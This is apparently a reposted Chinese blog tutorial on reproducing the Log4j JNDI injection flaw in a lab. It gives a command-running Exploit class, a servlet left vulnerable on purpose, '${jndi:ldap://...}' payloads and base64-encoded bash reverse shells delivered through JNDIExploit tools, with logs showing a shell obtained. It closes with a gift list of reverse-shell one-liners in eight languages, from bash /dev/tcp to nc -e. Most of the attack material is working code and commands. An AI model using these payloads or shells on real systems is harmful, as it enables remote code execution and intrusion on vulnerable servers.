一、知識點分析
1.什么是log4j?與log4j2關系?
??log4j是apache著名的開源日志框架,log4j是log4j2的前身,
2.JNDI是什么?
??JNDI是Java Naming and Directory Interface(JAVA命名和目錄介面)的英文簡寫,它是為JAVA應用程式提供命名和目錄訪問服務的API(Application Programing Interface,應用程式編程介面),
3.LDAP與RMI關系?
??LDAP輕型目錄訪問協議(英文:Lightweight Directory Access Protocol,縮寫:LDAP,/??ld?p/)是一個開放的,中立的,工業標準的應用協議,通過IP協議提供訪問控制和維護分布式資訊的目錄資訊,
??RMI(Remote Method Invocation,遠程方法呼叫)是Java的一組擁護開發分布式應用程式的API,RMI使用Java語言介面定義了遠程物件,它集合了Java序列化和Java遠程方法協議(Java Remote Method Protocol),
二、環境及安裝包(Linux復現包)
JDK環境:linux-JDK【w186】
1臺windows:模仿client客戶端發送post請求
1臺project機:部署帶有漏洞Tmocat專案【r7q1】
1臺hacker機:控制臺命令輸入/輸出【vj8a】
1臺公網VPS(Virtual Private Server 虛擬專用服務器)attack機:部署LDAP服務【pn9x】
(注:三者需要滿足互相可以訪問即可)
三、Windows復現(課件關注博主留言即可獲得)
??windows復現實作起來很簡單:用到了jdk、ider、log4j專案就可以了,專案整體結構如圖:

Exploit檔案(惡意類):
import java.io.IOException;
public class Exploit {
static {
try {
// windows執行cmd命令,calc為計算機,也可以改成任意你想執行的命令,例:mstsc遠程視窗
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
1.將惡意代碼封裝成class類檔案:
在下方Terminal終端輸入 javac Exploit.java 回車即可生產class檔案,如圖

2.將生成的Exploit.class檔案上傳到tomcat服務目錄下
查看路徑
[root@bogon webapps]# pwd
/srv/apache-tomcat-9.0.40/webapps
附加執行權限
[root@bogon webapps]# chmod +x Exploit.class
[root@bogon webapps]# ls
apsm apsm20211122 apsm.war apsm.war_20211122 apsm.war_20211208 apsm.war_20211209 apsm.war20211210 examples Exploit.class host-manager manager ROOT sV06sQf7Ol.txt
[root@bogon webapps]#
確保tomcat可以訪問:

3.在LDAP服務中寫入tomcat地址并下載Exploit.class惡意類檔案
...
//引號修改成自己tomcat地址后追加要拿的class檔案即可
private static final String EXPLOIT_CLASS_URL = "http://192.168.200.53:3001/#Exploit";
...
為了避免本地埠沖突LADP埠我改成了7912

4.Log4J.java內容
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4J {
private static final Logger logger = LogManager.getLogger(Log4J.class);
public static void main(String[] args) {
//logger寫入jndi參考ldap檔案傳輸地址下載class惡意類,csdnak隨意寫的
logger.error("${jndi:ldap://127.0.0.1:7912/csdnak}");
}
}

5.啟動實驗
依次運行LDAP服務:

運行Log4J服務:

運行結果:

??可以看到復現成功,左側target子目錄classes下出現Exploit檔案,下方也可以看到ldap服務去tomcat專案下載本地并執行了該檔案,
四、Linux復現
方法一:
1.project機操作:
可以通過docker直接拉取,也可去上方下載docker容器tar包匯入
[root@bogon ~]# docker pull registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
[root@bogon ~]# docker run -it -d -p 8080:8080 --name log4j_vuln_container registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
[root@bogon ~]# docker exec -it log4j_vuln_container /bin/bash
[root@a58a9ce2ef50 ansible]# /home/apache-tomcat-8.5.45/bin/startup.sh
Using CATALINA_BASE: /home/apache-tomcat-8.5.45
Using CATALINA_HOME: /home/apache-tomcat-8.5.45
Using CATALINA_TMPDIR: /home/apache-tomcat-8.5.45/temp
Using JRE_HOME: /usr/local/jdk1.8.0_144/
Using CLASSPATH: /home/apache-tomcat-8.5.45/bin/bootstrap.jar:/home/apache-tomcat-8.5.45/bin/tomcat-juli.jar
Tomcat started.
[root@a58a9ce2ef50 ansible]# cd /home/apache-tomcat-8.5.45/logs/
[root@a58a9ce2ef50 logs]# tail -f catalina.out
測驗訪問:http://192.168.200.37:8080/webstudy/hello-fengxuan
(注:此專案c引數作為log4j漏洞):
package com.evalshell.webstudy;
import java.io.IOException;
import java.io.PrintWriter;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
@WebServlet(
name = "helloServlet",
value = {"/hello-fengxuan"}
)
public class HelloServlet extends HttpServlet {
private String message;
private static final Logger logger = LogManager.getLogger(HelloServlet.class);
public HelloServlet() {
}
public void init() {
this.message = "Hello World!";
}
public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
response.setContentType("text/html");
response.setHeader("Content-Type", "text/html; charset=utf-8");
System.out.println(request.getQueryString());
PrintWriter out = response.getWriter();
out.println("<html><body>");
out.println("<span>你好,兄弟,請用post請求來搞我!</span>");
out.println("</body></html>");
}
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
//payload引數c介面
String name = req.getParameter("c");
System.out.println(name);
logger.error(name);
resp.setContentType("text/html");
resp.setHeader("Content-Type", "text/html; charset=utf-8");
PrintWriter out = resp.getWriter();
out.println("<html><body>");
out.println("<h1>可惡!又被你裝到了!</h1>");
out.println("</body></html>");
}
public void destroy() {
}
}
2.公網VPS(Virtual Private Server 虛擬專用服務器)attack機操作:
[root@csdn-ak ldap]# ls
JNDIExploit-1.2-SNAPSHOT.jar lib
[root@csdn-ak ldap]# java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 127.0.0.1

3.hacker機操作:
[root@node-3 ~]# yum -y install nc
已加載插件:fastestmirror, product-id, search-disabled-repos, subscription-manager
This system is not registered with an entitlement server. You can use subscription-manager to register.
Loading mirror speeds from cached hostfile
* base: mirror.lzu.edu.cn
* epel: mirror.earthlink.iq
* extras: mirrors.bupt.edu.cn
* updates: mirrors.tuna.tsinghua.edu.cn
正在解決依賴關系
--> 正在檢查事務
---> 軟體包 nmap-ncat.x86_64.2.6.40-19.el7 將被 安裝
--> 正在處理依賴關系 libpcap.so.1()(64bit),它被軟體包 2:nmap-ncat-6.40-19.el7.x86_64 需要
--> 正在檢查事務
---> 軟體包 libpcap.x86_64.14.1.5.3-12.el7 將被 安裝
--> 解決依賴關系完成
依賴關系解決
========================================================================================================
Package 架構 版本 源 大小
========================================================================================================
正在安裝:
nmap-ncat x86_64 2:6.40-19.el7 base 206 k
為依賴而安裝:
libpcap x86_64 14:1.5.3-12.el7 base 139 k
事務概要
========================================================================================================
安裝 1 軟體包 (+1 依賴軟體包)
總下載量:345 k
安裝大小:740 k
Downloading packages:
(1/2): libpcap-1.5.3-12.el7.x86_64.rpm | 139 kB 00:00:00
(2/2): nmap-ncat-6.40-19.el7.x86_64.rpm | 206 kB 00:00:00
--------------------------------------------------------------------------------------------------------
總計 2.6 MB/s | 345 kB 00:00:00
Running transaction check
Running transaction test
Transaction test succeeded
Running transaction
正在安裝 : 14:libpcap-1.5.3-12.el7.x86_64 1/2
正在安裝 : 2:nmap-ncat-6.40-19.el7.x86_64 2/2
驗證中 : 2:nmap-ncat-6.40-19.el7.x86_64 1/2
驗證中 : 14:libpcap-1.5.3-12.el7.x86_64 2/2
已安裝:
nmap-ncat.x86_64 2:6.40-19.el7
作為依賴被安裝:
libpcap.x86_64 14:1.5.3-12.el7
完畢!
[root@node-3 ~]# nc -lvp 869
輸入 nc -lvp 869監聽本地869埠,如圖

4.windows機操作:
將你需要執行的shell命令base64加密這里以反彈shell為例
利用postman介面測驗軟體發起請求
key值為c(前面提到過,c為payload引數)
value:(xx.xx.xx.xx寫你自己的公網vps服務ip)
${jndi:ldap://xx.xx.xx.xx:1389/Basic/Command/base64/YmFzaCAgLWkgPiYgIC9kZXYvdGNwLzE5Mi4xNjguMjAwLjIyMy84NjkgMD4mMQ==}

點擊send發送即可
5.測驗結果查詢
project機查看catlina.out日志輸出

公網vps機ladp服務監聽日志與attack決議一目了然

hacker機反彈shell回顯成功


方法二:
考慮公網服務安全,臨時換城內網服務器繼續(根據自己jdk版本選擇對應payload)
[root@bogon ldap]java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAgLWkgPiYgIC9kZXYvdGNwLzE5Mi4xNjguMjAwLjM3Lzc3NzcgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 192.168.200.37
JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar此包頂部鏈接可以下載,

我jdk版本是1.8的所以payload為:ldap://192.168.200.37:1389/use1zw
因此postman的value引數為: ${jndi:ldap://192.168.200.37:1389/use1zw}

點擊send發送,下圖可以看到容器內tomcat日志logger已經從漏洞引數c獲取并列印日志,因此容易中的java執行jdin命令從遠程服務器ldap上獲取惡意類檔案下載到本地,并執行類檔案中包含的反彈shell命令,

(注:一臺project機就可以實作所有功能,只是變成了本地測驗,但并不影響實驗程序以及結論)
結合代碼決議
...
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
//漏洞引數c接收到post的惡意請求
String name = req.getParameter("c");
System.out.println(name);
//logger會將c引數內容在后臺日志列印,也是此專案漏洞出處
logger.error(name);
resp.setContentType("text/html");
resp.setHeader("Content-Type", "text/html; charset=utf-8");
PrintWriter out = resp.getWriter();
out.println("<html><body>");
out.println("<h1>可惡!又被你裝到了!</h1>");
out.println("</body></html>");
}
...
容器中通過tail實時監控tomcat日志輸出
[root@a58a9ce2ef50 logs]# tail -f catalina.out
#通過日志可以看到反彈shell已經通過jndi成功注入列印并執行
...
${jndi:ldap://192.168.200.37:1389/use1zw}
08:09:40.519 [http-nio-8080-exec-10] ERROR com.evalshell.webstudy.HelloServlet - ${jndi:ldap://192.168.200.37:1389/use1zw}
...
LDAP服務日志輸出
#LDAP服務啟動后其中的反彈Shell命令就已經被打爆成class惡意類檔案
[ADDRESS] >> 192.168.200.37 #LDAP服務ip
[COMMAND] >> bash -c {echo,YmFzaCAgLWkgPiYgIC9kZXYvdGNwLzE5Mi4xNjguMjAwLjM3Lzc3NzcgMD4mMQ==}|{base64,-d}|{bash,-i} #class類檔案反彈shell內容
----------------------------JNDI Links----------------------------
#根據自身jdk版本選擇對應的payload
Target environment(Build in JDK 1.7 whose trustURLCodebase is true):
rmi://192.168.200.37:1099/vhb7bd
ldap://192.168.200.37:1389/vhb7bd
Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
rmi://192.168.200.37:1099/use1zw
#我的環境jdk是1.8的并且我習慣用ldap檔案傳輸服務作為介面,所以選擇這條payload
ldap://192.168.200.37:1389/use1zw
Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
rmi://192.168.200.37:1099/tkaovn
#可以看出jndi通過ldap檔案傳輸協議成功獲取惡意類ExecTemplateJDK8.class檔案
----------------------------Server Log----------------------------
#LDAP發送一個編號為 use1zw請求的檔案
2021-12-20 16:09:40 [LDAPSERVER] >> Send LDAP reference result for use1zw redirecting to http://192.168.200.37:8180/ExecTemplateJDK8.class
2021-12-20 16:09:40 [JETTYSERVER]>> Log a request to http://192.168.200.37:8180/ExecTemplateJDK8.class
彩蛋
送給熱愛hacker技術的你8種反彈shell語言
#bash版本:
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
#perl版本:
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
#python版本:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
#php版本:
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
#ruby版本:
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
#nc版本:
nc -e /bin/sh 10.0.0.1 1234
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999
#java版本
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
#lua
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
后續將為大家帶來掃描log4j漏洞程式,歡迎大家訂閱!
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/387794.html
標籤:其他
